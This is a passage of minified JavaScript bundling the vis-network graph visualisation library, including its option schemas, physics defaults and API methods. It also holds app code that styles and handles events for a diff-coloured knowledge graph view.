t=this.lastTouch;this.selectionHandler.generateClickEvent("dragStart",e,t,void 0,!0)}_performAddNode(e){const t={id:nC(),x:e.pointer.canvas.x,y:e.pointer.canvas.y,label:"new"};if(typeof this.options.addNode=="function")if(this.options.addNode.length===2)this.options.addNode(t,i=>{i!=null&&this.inMode==="addNode"&&this.body.data.nodes.getDataSet().add(i),this.showManipulatorToolbar()});else throw this.showManipulatorToolbar(),new Error("The function for add does not support two arguments (data,callback)");else this.body.data.nodes.getDataSet().add(t),this.showManipulatorToolbar()}_performAddEdge(e,t){const i={from:e,to:t};if(typeof this.options.addEdge=="function")if(this.options.addEdge.length===2)this.options.addEdge(i,C=>{C!=null&&this.inMode==="addEdge"&&(this.body.data.edges.getDataSet().add(C),this.selectionHandler.unselectAll(),this.showManipulatorToolbar())});else throw new Error("The function for connect does not support two arguments (data,callback)");else this.body.data.edges.getDataSet().add(i),this.selectionHandler.unselectAll(),this.showManipulatorToolbar()}_performEditEdge(e,t){const i={id:this.edgeBeingEditedId,from:e,to:t,label:this.body.data.edges.get(this.edgeBeingEditedId).label};let C=this.options.editEdge;if(typeof C=="object"&&(C=C.editWithoutDrag),typeof C=="function")if(C.length===2)C(i,o=>{o==null||this.inMode!=="editEdge"?(this.body.edges[i.id].updateEdgeType(),this.body.emitter.emit("_redraw"),this.showManipulatorToolbar()):(this.body.data.edges.getDataSet().update(o),this.selectionHandler.unselectAll(),this.showManipulatorToolbar())});else throw new Error("The function for edit does not support two arguments (data, callback)");else this.body.data.edges.getDataSet().update(i),this.selectionHandler.unselectAll(),this.showManipulatorToolbar()}}const q="string",W="boolean",P="number",JI="array",Ce="object",Rw="dom",U7="any",Tu=["arrow","bar","box","circle","crow","curve","diamond","image","inv_curve","inv_triangle","triangle","vee"],Su={borderWidth:{number:P},borderWidthSelected:{number:P,undefined:"undefined"},brokenImage:{string:q,undefined:"undefined"},chosen:{label:{boolean:W,function:"function"},node:{boolean:W,function:"function"},__type__:{object:Ce,boolean:W}},color:{border:{string:q},background:{string:q},highlight:{border:{string:q},background:{string:q},__type__:{object:Ce,string:q}},hover:{border:{string:q},background:{string:q},__type__:{object:Ce,string:q}},__type__:{object:Ce,string:q}},opacity:{number:P,undefined:"undefined"},fixed:{x:{boolean:W},y:{boolean:W},__type__:{object:Ce,boolean:W}},font:{align:{string:q},color:{string:q},size:{number:P},face:{string:q},background:{string:q},strokeWidth:{number:P},strokeColor:{string:q},vadjust:{number:P},multi:{boolean:W,string:q},bold:{color:{string:q},size:{number:P},face:{string:q},mod:{string:q},vadjust:{number:P},__type__:{object:Ce,string:q}},boldital:{color:{string:q},size:{number:P},face:{string:q},mod:{string:q},vadjust:{number:P},__type__:{object:Ce,string:q}},ital:{color:{string:q},size:{number:P},face:{string:q},mod:{string:q},vadjust:{number:P},__type__:{object:Ce,string:q}},mono:{color:{string:q},size:{number:P},face:{string:q},mod:{string:q},vadjust:{number:P},__type__:{object:Ce,string:q}},__type__:{object:Ce,string:q}},group:{string:q,number:P,undefined:"undefined"},heightConstraint:{minimum:{number:P},valign:{string:q},__type__:{object:Ce,boolean:W,number:P}},hidden:{boolean:W},icon:{face:{string:q},code:{string:q},size:{number:P},color:{string:q},weight:{string:q,number:P},__type__:{object:Ce}},id:{string:q,number:P},image:{selected:{string:q,undefined:"undefined"},unselected:{string:q,undefined:"undefined"},__type__:{object:Ce,string:q}},imagePadding:{top:{number:P},right:{number:P},bottom:{number:P},left:{number:P},__type__:{object:Ce,number:P}},label:{string:q,undefined:"undefined"},labelHighlightBold:{boolean:W},level:{number:P,undefined:"undefined"},margin:{top:{number:P},right:{number:P},bottom:{number:P},left:{number:P},__type__:{object:Ce,number:P}},mass:{number:P},physics:{boolean:W},scaling:{min:{number:P},max:{number:P},label:{enabled:{boolean:W},min:{number:P},max:{number:P},maxVisible:{number:P},drawThreshold:{number:P},__type__:{object:Ce,boolean:W}},customScalingFunction:{function:"function"},__type__:{object:Ce}},shadow:{enabled:{boolean:W},color:{string:q},size:{number:P},x:{number:P},y:{number:P},__type__:{object:Ce,boolean:W}},shape:{string:["custom","ellipse","circle","database","box","text","image","circularImage","diamond","dot","star","triangle","triangleDown","square","icon","hexagon"]},ctxRenderer:{function:"function"},shapeProperties:{borderDashes:{boolean:W,array:JI},borderRadius:{number:P},interpolation:{boolean:W},useImageSize:{boolean:W},useBorderWithImage:{boolean:W},coordinateOrigin:{string:["center","top-left"]},__type__:{object:Ce}},size:{number:P},title:{string:q,dom:Rw,undefined:"undefined"},value:{number:P,undefined:"undefined"},widthConstraint:{minimum:{number:P},maximum:{number:P},__type__:{object:Ce,boolean:W,number:P}},x:{number:P},y:{number:P},__type__:{object:Ce}},H7={configure:{enabled:{boolean:W},filter:{boolean:W,string:q,array:JI,function:"function"},container:{dom:Rw},showButton:{boolean:W},__type__:{object:Ce,boolean:W,string:q,array:JI,function:"function"}},edges:{arrows:{to:{enabled:{boolean:W},scaleFactor:{number:P},type:{string:Tu},imageHeight:{number:P},imageWidth:{number:P},src:{string:q},__type__:{object:Ce,boolean:W}},middle:{enabled:{boolean:W},scaleFactor:{number:P},type:{string:Tu},imageWidth:{number:P},imageHeight:{number:P},src:{string:q},__type__:{object:Ce,boolean:W}},from:{enabled:{boolean:W},scaleFactor:{number:P},type:{string:Tu},imageWidth:{number:P},imageHeight:{number:P},src:{string:q},__type__:{object:Ce,boolean:W}},__type__:{string:["from","to","middle"],object:Ce}},endPointOffset:{from:{number:P},to:{number:P},__type__:{object:Ce,number:P}},arrowStrikethrough:{boolean:W},background:{enabled:{boolean:W},color:{string:q},size:{number:P},dashes:{boolean:W,array:JI},__type__:{object:Ce,boolean:W}},chosen:{label:{boolean:W,function:"function"},edge:{boolean:W,function:"function"},__type__:{object:Ce,boolean:W}},color:{color:{string:q},highlight:{string:q},hover:{string:q},inherit:{string:["from","to","both"],boolean:W},opacity:{number:P},__type__:{object:Ce,string:q}},dashes:{boolean:W,array:JI},font:{color:{string:q},size:{number:P},face:{string:q},background:{string:q},strokeWidth:{number:P},strokeColor:{string:q},align:{string:["horizontal","top","middle","bottom"]},vadjust:{number:P},multi:{boolean:W,string:q},bold:{color:{string:q},size:{number:P},face:{string:q},mod:{string:q},vadjust:{number:P},__type__:{object:Ce,string:q}},boldital:{color:{string:q},size:{number:P},face:{string:q},mod:{string:q},vadjust:{number:P},__type__:{object:Ce,string:q}},ital:{color:{string:q},size:{number:P},face:{string:q},mod:{string:q},vadjust:{number:P},__type__:{object:Ce,string:q}},mono:{color:{string:q},size:{number:P},face:{string:q},mod:{string:q},vadjust:{number:P},__type__:{object:Ce,string:q}},__type__:{object:Ce,string:q}},hidden:{boolean:W},hoverWidth:{function:"function",number:P},label:{string:q,undefined:"undefined"},labelHighlightBold:{boolean:W},length:{number:P,undefined:"undefined"},physics:{boolean:W},scaling:{min:{number:P},max:{number:P},label:{enabled:{boolean:W},min:{number:P},max:{number:P},maxVisible:{number:P},drawThreshold:{number:P},__type__:{object:Ce,boolean:W}},customScalingFunction:{function:"function"},__type__:{object:Ce}},selectionWidth:{function:"function",number:P},selfReferenceSize:{number:P},selfReference:{size:{number:P},angle:{number:P},renderBehindTheNode:{boolean:W},__type__:{object:Ce}},shadow:{enabled:{boolean:W},color:{string:q},size:{number:P},x:{number:P},y:{number:P},__type__:{object:Ce,boolean:W}},smooth:{enabled:{boolean:W},type:{string:["dynamic","continuous","discrete","diagonalCross","straightCross","horizontal","vertical","curvedCW","curvedCCW","cubicBezier"]},roundness:{number:P},forceDirection:{string:["horizontal","vertical","none"],boolean:W},__type__:{object:Ce,boolean:W}},title:{string:q,undefined:"undefined"},width:{number:P},widthConstraint:{maximum:{number:P},__type__:{object:Ce,boolean:W,number:P}},value:{number:P,undefined:"undefined"},__type__:{object:Ce}},groups:{useDefaultGroups:{boolean:W},__any__:Su,__type__:{object:Ce}},interaction:{dragNodes:{boolean:W},dragView:{boolean:W},hideEdgesOnDrag:{boolean:W},hideEdgesOnZoom:{boolean:W},hideNodesOnDrag:{boolean:W},hover:{boolean:W},keyboard:{enabled:{boolean:W},speed:{x:{number:P},y:{number:P},zoom:{number:P},__type__:{object:Ce}},bindToWindow:{boolean:W},autoFocus:{boolean:W},__type__:{object:Ce,boolean:W}},multiselect:{boolean:W},navigationButtons:{boolean:W},selectable:{boolean:W},selectConnectedEdges:{boolean:W},hoverConnectedEdges:{boolean:W},tooltipDelay:{number:P},zoomView:{boolean:W},zoomSpeed:{number:P},__type__:{object:Ce}},layout:{randomSeed:{undefined:"undefined",number:P,string:q},improvedLayout:{boolean:W},clusterThreshold:{number:P},hierarchical:{enabled:{boolean:W},levelSeparation:{number:P},nodeSpacing:{number:P},treeSpacing:{number:P},blockShifting:{boolean:W},edgeMinimization:{boolean:W},parentCentralization:{boolean:W},direction:{string:["UD","DU","LR","RL"]},sortMethod:{string:["hubsize","directed"]},shakeTowards:{string:["leaves","roots"]},__type__:{object:Ce,boolean:W}},__type__:{object:Ce}},manipulation:{enabled:{boolean:W},initiallyActive:{boolean:W},addNode:{boolean:W,function:"function"},addEdge:{boolean:W,function:"function"},editNode:{function:"function"},editEdge:{editWithoutDrag:{function:"function"},__type__:{object:Ce,boolean:W,function:"function"}},deleteNode:{boolean:W,function:"function"},deleteEdge:{boolean:W,function:"function"},controlNodeStyle:Su,__type__:{object:Ce,boolean:W}},nodes:Su,physics:{enabled:{boolean:W},barnesHut:{theta:{number:P},gravitationalConstant:{number:P},centralGravity:{number:P},springLength:{number:P},springConstant:{number:P},damping:{number:P},avoidOverlap:{number:P},__type__:{object:Ce}},forceAtlas2Based:{theta:{number:P},gravitationalConstant:{number:P},centralGravity:{number:P},springLength:{number:P},springConstant:{number:P},damping:{number:P},avoidOverlap:{number:P},__type__:{object:Ce}},repulsion:{centralGravity:{number:P},springLength:{number:P},springConstant:{number:P},nodeDistance:{number:P},damping:{number:P},__type__:{object:Ce}},hierarchicalRepulsion:{centralGravity:{number:P},springLength:{number:P},springConstant:{number:P},nodeDistance:{number:P},damping:{number:P},avoidOverlap:{number:P},__type__:{object:Ce}},maxVelocity:{number:P},minVelocity:{number:P},solver:{string:["barnesHut","repulsion","hierarchicalRepulsion","forceAtlas2Based"]},stabilization:{enabled:{boolean:W},iterations:{number:P},updateInterval:{number:P},onlyDynamicEdges:{boolean:W},fit:{boolean:W},__type__:{object:Ce,boolean:W}},timestep:{number:P},adaptiveTimestep:{boolean:W},wind:{x:{number:P},y:{number:P},__type__:{object:Ce}},__type__:{object:Ce,boolean:W}},autoResize:{boolean:W},clickToUse:{boolean:W},locale:{string:q},locales:{__any__:{any:U7},__type__:{object:Ce}},height:{string:q},width:{string:q},__type__:{object:Ce}},Mw={nodes:{borderWidth:[1,0,10,1],borderWidthSelected:[2,0,10,1],color:{border:["color","#2B7CE9"],background:["color","#97C2FC"],highlight:{border:["color","#2B7CE9"],background:["color","#D2E5FF"]},hover:{border:["color","#2B7CE9"],background:["color","#D2E5FF"]}},opacity:[0,0,1,.1],fixed:{x:!1,y:!1},font:{color:["color","#343434"],size:[14,0,100,1],face:["arial","verdana","tahoma"],background:["color","none"],strokeWidth:[0,0,50,1],strokeColor:["color","#ffffff"]},hidden:!1,labelHighlightBold:!0,physics:!0,scaling:{min:[10,0,200,1],max:[30,0,200,1],label:{enabled:!1,min:[14,0,200,1],max:[30,0,200,1],maxVisible:[30,0,200,1],drawThreshold:[5,0,20,1]}},shadow:{enabled:!1,color:"rgba(0,0,0,0.5)",size:[10,0,20,1],x:[5,-30,30,1],y:[5,-30,30,1]},shape:["ellipse","box","circle","database","diamond","dot","square","star","text","triangle","triangleDown","hexagon"],shapeProperties:{borderDashes:!1,borderRadius:[6,0,20,1],interpolation:!0,useImageSize:!1},size:[25,0,200,1]},edges:{arrows:{to:{enabled:!1,scaleFactor:[1,0,3,.05],type:"arrow"},middle:{enabled:!1,scaleFactor:[1,0,3,.05],type:"arrow"},from:{enabled:!1,scaleFactor:[1,0,3,.05],type:"arrow"}},endPointOffset:{from:[0,-10,10,1],to:[0,-10,10,1]},arrowStrikethrough:!0,color:{color:["color","#848484"],highlight:["color","#848484"],hover:["color","#848484"],inherit:["from","to","both",!0,!1],opacity:[1,0,1,.05]},dashes:!1,font:{color:["color","#343434"],size:[14,0,100,1],face:["arial","verdana","tahoma"],background:["color","none"],strokeWidth:[2,0,50,1],strokeColor:["color","#ffffff"],align:["horizontal","top","middle","bottom"]},hidden:!1,hoverWidth:[1.5,0,5,.1],labelHighlightBold:!0,physics:!0,scaling:{min:[1,0,100,1],max:[15,0,100,1],label:{enabled:!0,min:[14,0,200,1],max:[30,0,200,1],maxVisible:[30,0,200,1],drawThreshold:[5,0,20,1]}},selectionWidth:[1.5,0,5,.1],selfReferenceSize:[20,0,200,1],selfReference:{size:[20,0,200,1],angle:[Math.PI/2,-6*Math.PI,6*Math.PI,Math.PI/8],renderBehindTheNode:!0},shadow:{enabled:!1,color:"rgba(0,0,0,0.5)",size:[10,0,20,1],x:[5,-30,30,1],y:[5,-30,30,1]},smooth:{enabled:!0,type:["dynamic","continuous","discrete","diagonalCross","straightCross","horizontal","vertical","curvedCW","curvedCCW","cubicBezier"],forceDirection:["horizontal","vertical","none"],roundness:[.5,0,1,.05]},width:[1,0,30,1]},layout:{hierarchical:{enabled:!1,levelSeparation:[150,20,500,5],nodeSpacing:[100,20,500,5],treeSpacing:[200,20,500,5],blockShifting:!0,edgeMinimization:!0,parentCentralization:!0,direction:["UD","DU","LR","RL"],sortMethod:["hubsize","directed"],shakeTowards:["leaves","roots"]}},interaction:{dragNodes:!0,dragView:!0,hideEdgesOnDrag:!1,hideEdgesOnZoom:!1,hideNodesOnDrag:!1,hover:!1,keyboard:{enabled:!1,speed:{x:[10,0,40,1],y:[10,0,40,1],zoom:[.02,0,.1,.005]},bindToWindow:!0,autoFocus:!0},multiselect:!1,navigationButtons:!1,selectable:!0,selectConnectedEdges:!0,hoverConnectedEdges:!0,tooltipDelay:[300,0,1e3,25],zoomView:!0,zoomSpeed:[1,.1,2,.1]},manipulation:{enabled:!1,initiallyActive:!1},physics:{enabled:!0,barnesHut:{theta:[.5,.1,1,.05],gravitationalConstant:[-2e3,-3e4,0,50],centralGravity:[.3,0,10,.05],springLength:[95,0,500,5],springConstant:[.04,0,1.2,.005],damping:[.09,0,1,.01],avoidOverlap:[0,0,1,.01]},forceAtlas2Based:{theta:[.5,.1,1,.05],gravitationalConstant:[-50,-500,0,1],centralGravity:[.01,0,1,.005],springLength:[95,0,500,5],springConstant:[.08,0,1.2,.005],damping:[.4,0,1,.01],avoidOverlap:[0,0,1,.01]},repulsion:{centralGravity:[.2,0,10,.05],springLength:[200,0,500,5],springConstant:[.05,0,1.2,.005],nodeDistance:[100,0,500,5],damping:[.09,0,1,.01]},hierarchicalRepulsion:{centralGravity:[.2,0,10,.05],springLength:[100,0,500,5],springConstant:[.01,0,1.2,.005],nodeDistance:[120,0,500,5],damping:[.09,0,1,.01],avoidOverlap:[0,0,1,.01]},maxVelocity:[50,0,150,1],minVelocity:[.1,.01,.5,.01],solver:["barnesHut","forceAtlas2Based","repulsion","hierarchicalRepulsion"],timestep:[.5,.01,1,.01],wind:{x:[0,-10,10,.1],y:[0,-10,10,.1]}}},K7=(n,e,t)=>{var i;return!!(Ji(n).call(n,"physics")&&Ji(i=Mw.physics.solver).call(i,e)&&t.physics.solver!==e&&e!=="wind")};class Q7{constructor(){}getDistances(e,t,i){const C={},o=e.edges;for(let a=0;a2&&arguments[2]!==void 0?arguments[2]:!1;const C=this.distanceSolver.getDistances(this.body,e,t);this._createL_matrix(C),this._createK_matrix(C),this._createE_matrix();const o=.01,s=1;let a=0;const l=Math.max(1e3,Math.min(10*this.body.nodeIndices.length,6e3)),u=5;let h=1e9,p=0,m=0,v=0,w=0,N=0;for(;h>o&&as&&Nthis.body.emitter.emit("_requestRedraw")),this.groups=new z9,this.canvas=new VK(this.body),this.selectionHandler=new w7(this.body,this.canvas),this.interactionHandler=new QK(this.body,this.canvas,this.selectionHandler),this.view=new UK(this.body,this.canvas),this.renderer=new PK(this.body,this.canvas),this.physics=new kK(this.body),this.layoutEngine=new F7(this.body),this.clustering=new BK(this.body),this.manipulation=new Y7(this.body,this.canvas,this.selectionHandler,this.interactionHandler),this.nodesHandler=new AK(this.body,this.images,this.groups,this.layoutEngine),this.edgesHandler=new NK(this.body,this.images,this.groups),this.body.modules.kamadaKawai=new X7(this.body,150,.05),this.body.modules.clustering=this.clustering,this.canvas._create(),this.setOptions(t),this.setData(e)}pm(ie.prototype),ie.prototype.setOptions=function(n){if(n===null&&(n=void 0),n!==void 0){if(bG.validate(n,H7)===!0&&console.error("%cErrors have been found in the supplied options object.",mb),JA(["locale","locales","clickToUse"],this.options,n),n.locale!==void 0&&(n.locale=kG(n.locales||this.options.locales,n.locale)),n=this.layoutEngine.setOptions(n.layout,n),this.canvas.setOptions(n),this.groups.setOptions(n.groups),this.nodesHandler.setOptions(n.nodes),this.edgesHandler.setOptions(n.edges),this.physics.setOptions(n.physics),this.manipulation.setOptions(n.manipulation,n,this.options),this.interactionHandler.setOptions(n.interaction),this.renderer.setOptions(n.interaction),this.selectionHandler.setOptions(n.interaction),n.groups!==void 0&&this.body.emitter.emit("refreshNodes"),"configure"in n&&(this.configurator||(this.configurator=new vG(this,this.body.container,Mw,this.canvas.pixelRatio,K7)),this.configurator.setOptions(n.configure)),this.configurator&&this.configurator.options.enabled===!0){const i={nodes:{},edges:{},layout:{},interaction:{},manipulation:{},physics:{},global:{}};We(i.nodes,this.nodesHandler.options),We(i.edges,this.edgesHandler.options),We(i.layout,this.layoutEngine.options),We(i.interaction,this.selectionHandler.options),We(i.interaction,this.renderer.options),We(i.interaction,this.interactionHandler.options),We(i.manipulation,this.manipulation.options),We(i.physics,this.physics.options),We(i.global,this.canvas.options),We(i.global,this.options),this.configurator.setModuleOptions(i)}n.clickToUse!==void 0?n.clickToUse===!0?this.activator===void 0&&(this.activator=new mG(this.canvas.frame),this.activator.on("change",()=>{this.body.emitter.emit("activate")})):(this.activator!==void 0&&(this.activator.destroy(),delete this.activator),this.body.emitter.emit("activate")):this.body.emitter.emit("activate"),this.canvas.setSize(),this.body.emitter.emit("startSimulation")}},ie.prototype._updateVisibleIndices=function(){const n=this.body.nodes,e=this.body.edges;this.body.nodeIndices=[],this.body.edgeIndices=[];for(const t in n)Object.prototype.hasOwnProperty.call(n,t)&&!this.clustering._isClusteredNode(t)&&n[t].options.hidden===!1&&this.body.nodeIndices.push(n[t].id);for(const t in e)if(Object.prototype.hasOwnProperty.call(e,t)){const i=e[t],C=n[i.fromId],o=n[i.toId],s=C!==void 0&&o!==void 0;!this.clustering._isClusteredEdge(t)&&i.options.hidden===!1&&s&&C.options.hidden===!1&&o.options.hidden===!1&&this.body.edgeIndices.push(i.id)}},ie.prototype.bindEventListeners=function(){this.body.emitter.on("_dataChanged",()=>{this.edgesHandler._updateState(),this.body.emitter.emit("_dataUpdated")}),this.body.emitter.on("_dataUpdated",()=>{this.clustering._updateState(),this._updateVisibleIndices(),this._updateValueRange(this.body.nodes),this._updateValueRange(this.body.edges),this.body.emitter.emit("startSimulation"),this.body.emitter.emit("_requestRedraw")})},ie.prototype.setData=function(n){if(this.body.emitter.emit("resetPhysics"),this.body.emitter.emit("_resetData"),this.selectionHandler.unselectAll(),n&&n.dot&&(n.nodes||n.edges))throw new SyntaxError('Data must contain either parameter "dot" or parameter pair "nodes" and "edges", but not both.');if(this.setOptions(n&&n.options),n&&n.dot){console.warn("The dot property has been deprecated. Please use the static convertDot method to convert DOT into vis.network format and use the normal data format with nodes and edges. This converter is used like this: var data = vis.network.convertDot(dotString);");const e=RG(n.dot);this.setData(e);return}else if(n&&n.gephi){console.warn("The gephi property has been deprecated. Please use the static convertGephi method to convert gephi into vis.network format and use the normal data format with nodes and edges. This converter is used like this: var data = vis.network.convertGephi(gephiJson);");const e=MG(n.gephi);this.setData(e);return}else this.nodesHandler.setData(n&&n.nodes,!0),this.edgesHandler.setData(n&&n.edges,!0);this.body.emitter.emit("_dataChanged"),this.body.emitter.emit("_dataLoaded"),this.body.emitter.emit("initPhysics")},ie.prototype.destroy=function(){this.body.emitter.emit("destroy"),this.body.emitter.off(),this.off(),delete this.groups,delete this.canvas,delete this.selectionHandler,delete this.interactionHandler,delete this.view,delete this.renderer,delete this.physics,delete this.layoutEngine,delete this.clustering,delete this.manipulation,delete this.nodesHandler,delete this.edgesHandler,delete this.configurator,delete this.images;for(const n in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,n)&&delete this.body.nodes[n];for(const n in this.body.edges)Object.prototype.hasOwnProperty.call(this.body.edges,n)&&delete this.body.edges[n];tn(this.body.container)},ie.prototype._updateValueRange=function(n){let e,t,i,C=0;for(e in n)if(Object.prototype.hasOwnProperty.call(n,e)){const o=n[e].getValue();o!==void 0&&(t=t===void 0?o:Math.min(o,t),i=i===void 0?o:Math.max(o,i),C+=o)}if(t!==void 0&&i!==void 0)for(e in n)Object.prototype.hasOwnProperty.call(n,e)&&n[e].setValueRange(t,i,C)},ie.prototype.isActive=function(){return!this.activator||this.activator.active},ie.prototype.setSize=function(){return this.canvas.setSize.apply(this.canvas,arguments)},ie.prototype.canvasToDOM=function(){return this.canvas.canvasToDOM.apply(this.canvas,arguments)},ie.prototype.DOMtoCanvas=function(){return this.canvas.DOMtoCanvas.apply(this.canvas,arguments)},ie.prototype.findNode=function(){return this.clustering.findNode.apply(this.clustering,arguments)},ie.prototype.isCluster=function(){return this.clustering.isCluster.apply(this.clustering,arguments)},ie.prototype.openCluster=function(){return this.clustering.openCluster.apply(this.clustering,arguments)},ie.prototype.cluster=function(){return this.clustering.cluster.apply(this.clustering,arguments)},ie.prototype.getNodesInCluster=function(){return this.clustering.getNodesInCluster.apply(this.clustering,arguments)},ie.prototype.clusterByConnection=function(){return this.clustering.clusterByConnection.apply(this.clustering,arguments)},ie.prototype.clusterByHubsize=function(){return this.clustering.clusterByHubsize.apply(this.clustering,arguments)},ie.prototype.updateClusteredNode=function(){return this.clustering.updateClusteredNode.apply(this.clustering,arguments)},ie.prototype.getClusteredEdges=function(){return this.clustering.getClusteredEdges.apply(this.clustering,arguments)},ie.prototype.getBaseEdge=function(){return this.clustering.getBaseEdge.apply(this.clustering,arguments)},ie.prototype.getBaseEdges=function(){return this.clustering.getBaseEdges.apply(this.clustering,arguments)},ie.prototype.updateEdge=function(){return this.clustering.updateEdge.apply(this.clustering,arguments)},ie.prototype.clusterOutliers=function(){return this.clustering.clusterOutliers.apply(this.clustering,arguments)},ie.prototype.getSeed=function(){return this.layoutEngine.getSeed.apply(this.layoutEngine,arguments)},ie.prototype.enableEditMode=function(){return this.manipulation.enableEditMode.apply(this.manipulation,arguments)},ie.prototype.disableEditMode=function(){return this.manipulation.disableEditMode.apply(this.manipulation,arguments)},ie.prototype.addNodeMode=function(){return this.manipulation.addNodeMode.apply(this.manipulation,arguments)},ie.prototype.editNode=function(){return this.manipulation.editNode.apply(this.manipulation,arguments)},ie.prototype.editNodeMode=function(){return console.warn("Deprecated: Please use editNode instead of editNodeMode."),this.manipulation.editNode.apply(this.manipulation,arguments)},ie.prototype.addEdgeMode=function(){return this.manipulation.addEdgeMode.apply(this.manipulation,arguments)},ie.prototype.editEdgeMode=function(){return this.manipulation.editEdgeMode.apply(this.manipulation,arguments)},ie.prototype.deleteSelected=function(){return this.manipulation.deleteSelected.apply(this.manipulation,arguments)},ie.prototype.getPositions=function(){return this.nodesHandler.getPositions.apply(this.nodesHandler,arguments)},ie.prototype.getPosition=function(){return this.nodesHandler.getPosition.apply(this.nodesHandler,arguments)},ie.prototype.storePositions=function(){return this.nodesHandler.storePositions.apply(this.nodesHandler,arguments)},ie.prototype.moveNode=function(){return this.nodesHandler.moveNode.apply(this.nodesHandler,arguments)},ie.prototype.getBoundingBox=function(){return this.nodesHandler.getBoundingBox.apply(this.nodesHandler,arguments)},ie.prototype.getConnectedNodes=function(n){return this.body.nodes[n]!==void 0?this.nodesHandler.getConnectedNodes.apply(this.nodesHandler,arguments):this.edgesHandler.getConnectedNodes.apply(this.edgesHandler,arguments)},ie.prototype.getConnectedEdges=function(){return this.nodesHandler.getConnectedEdges.apply(this.nodesHandler,arguments)},ie.prototype.startSimulation=function(){return this.physics.startSimulation.apply(this.physics,arguments)},ie.prototype.stopSimulation=function(){return this.physics.stopSimulation.apply(this.physics,arguments)},ie.prototype.stabilize=function(){return this.physics.stabilize.apply(this.physics,arguments)},ie.prototype.getSelection=function(){return this.selectionHandler.getSelection.apply(this.selectionHandler,arguments)},ie.prototype.setSelection=function(){return this.selectionHandler.setSelection.apply(this.selectionHandler,arguments)},ie.prototype.getSelectedNodes=function(){return this.selectionHandler.getSelectedNodeIds.apply(this.selectionHandler,arguments)},ie.prototype.getSelectedEdges=function(){return this.selectionHandler.getSelectedEdgeIds.apply(this.selectionHandler,arguments)},ie.prototype.getNodeAt=function(){const n=this.selectionHandler.getNodeAt.apply(this.selectionHandler,arguments);return n!==void 0&&n.id!==void 0?n.id:n},ie.prototype.getEdgeAt=function(){const n=this.selectionHandler.getEdgeAt.apply(this.selectionHandler,arguments);return n!==void 0&&n.id!==void 0?n.id:n},ie.prototype.selectNodes=function(){return this.selectionHandler.selectNodes.apply(this.selectionHandler,arguments)},ie.prototype.selectEdges=function(){return this.selectionHandler.selectEdges.apply(this.selectionHandler,arguments)},ie.prototype.unselectAll=function(){this.selectionHandler.unselectAll.apply(this.selectionHandler,arguments),this.selectionHandler.commitWithoutEmitting.apply(this.selectionHandler),this.redraw()},ie.prototype.redraw=function(){return this.renderer.redraw.apply(this.renderer,arguments)},ie.prototype.getScale=function(){return this.view.getScale.apply(this.view,arguments)},ie.prototype.getViewPosition=function(){return this.view.getViewPosition.apply(this.view,arguments)},ie.prototype.fit=function(){return this.view.fit.apply(this.view,arguments)},ie.prototype.moveTo=function(){return this.view.moveTo.apply(this.view,arguments)},ie.prototype.focus=function(){return this.view.focus.apply(this.view,arguments)},ie.prototype.releaseNode=function(){return this.view.releaseNode.apply(this.view,arguments)},ie.prototype.getOptionsFromConfigurator=function(){let n={};return this.configurator&&(n=this.configurator.getOptions.apply(this.configurator)),n};function _w(n){const e=n.relation.trim(),t=n.confidence?.trim().toLocaleUpperCase();return e&&t?`${e} [${t}]`:e||(t?`[${t}]`:"")}function W7(n,e){return e.hoveredEdgeId===n.id}function q7(n,e){n.on("click",t=>{e.onHover(null),t.edges.length===0&&e.onBlurEdge();const i=t.nodes[0];i!==void 0?e.onFocus(String(i)):e.onClear()}),n.on("doubleClick",t=>{const i=t.nodes[0];i!==void 0&&e.onOpenSource(String(i))}),n.on("hoverNode",t=>{t.node!==void 0&&e.onHover({nodeId:String(t.node),x:t.pointer.DOM.x,y:t.pointer.DOM.y})}),n.on("blurNode",()=>e.onHover(null)),n.on("hoverEdge",t=>{t.edge!==void 0&&e.onHoverEdge(String(t.edge))}),n.on("blurEdge",()=>e.onBlurEdge()),n.on("dragStart",()=>{e.onHover(null),e.onBlurEdge()}),n.on("zoom",()=>{e.onHover(null),e.onBlurEdge()})}const kw={added:{background:"#163d24",border:"#56d364"},removed:{background:"#4b1f24",border:"#ff7b72"},changed:{background:"#3d3015",border:"#d7a72b"},unchanged:{background:"#29313b",border:"#8b949e"}},J7={autoResize:!0,interaction:{hover:!0,tooltipDelay:100,hideEdgesOnDrag:!0,navigationButtons:!1,keyboard:{enabled:!0}},layout:{improvedLayout:!0},nodes:{borderWidth:1.5,shape:"dot"},edges:{arrows:{to:{enabled:!0,scaleFactor:.5}},smooth:{enabled:!0,type:"continuous",roundness:.2},selectionWidth:3},physics:{enabled:!0,solver:"forceAtlas2Based",stabilization:{enabled:!0,iterations:200,fit:!0,updateInterval:20},forceAtlas2Based:{gravitationalConstant:-60,centralGravity:.005,springLength:120,springConstant:.08,damping:.4,avoidOverlap:.8}}},$7={autoResize:!0,interaction:{hover:!0,tooltipDelay:100,hideEdgesOnDrag:!0,navigationButtons:!1,keyboard:{enabled:!0}},layout:{improvedLayout:!0,randomSeed:17},nodes:{borderWidth:2,shape:"dot"},edges:{arrows:{to:{enabled:!0,scaleFactor:.38}},smooth:{enabled:!0,type:"continuous",roundness:.14},selectionWidth:3},physics:{enabled:!0,solver:"barnesHut",stabilization:{enabled:!0,iterations:520,fit:!0,updateInterval:25},maxVelocity:35,minVelocity:.55,barnesHut:{theta:.45,gravitationalConstant:-12e3,centralGravity:.12,springLength:180,springConstant:.025,damping:.3,avoidOverlap:.85}}};function Zw(n,e,t,i){const C=e.change&&i?i[e.change]:void 0,o=C?C.background:e.color?.background??n.communities.find(s=>s.id===e.community)?.color??"#6688aa";return{background:o,border:t??C?.border??e.color?.border??o}}function Jg(n,e){return typeof window>"u"?e:getComputedStyle(document.documentElement).getPropertyValue(n).trim()||e}function eQ(n){return n==="extracted"?{dashes:!1,width:2,opacity:.7}:n==="ambiguous"?{dashes:[3,4],width:2,opacity:.62}:{dashes:!0,width:1,opacity:.35}}function Bw(n,e,t,i){if(n==="added")return{color:i.added.border,dashes:!1,width:1.7,opacity:.6};if(n==="removed")return{color:i.removed.border,dashes:[6,5],width:1.6,opacity:.56};if(n==="changed")return{color:i.changed.border,dashes:!1,width:1.65,opacity:.48};if(n==="unchanged")return{color:i.unchanged.border,dashes:!0,width:1,opacity:.2};const C=eQ(e);return{color:t,...C}}function tQ(n){return n==="added"?{enabled:!0,type:"curvedCW",roundness:.13}:n==="removed"?{enabled:!0,type:"curvedCCW",roundness:.13}:{enabled:!0,type:"continuous",roundness:.1}}function gQ(n){const e=new Map;for(const o of[...n].sort((s,a)=>s.id.localeCompare(a.id))){const 